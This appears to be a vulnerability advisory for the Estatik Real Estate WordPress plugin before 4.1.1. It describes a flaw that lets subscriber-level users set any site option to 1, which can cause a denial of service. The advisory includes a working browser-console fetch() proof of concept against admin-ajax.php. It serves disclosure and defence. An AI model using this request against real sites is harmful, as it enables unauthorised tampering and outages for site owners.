WordPress Plugin Vulnerabilities
Estatik Real Estate Plugin < 4.1.1 - Subscriber+ Arbitrary Option Update
Description
The plugin does not prevent user with low privileges on the site, like subscribers, from setting any of the site's options to 1, which could be used to break sites and lead to DoS when certain options are reset
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as a subscriber user:
fetch("/wp-admin/admin-ajax.php?action=es_dismiss_notices", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "notice=template",
"method": "POST",
});
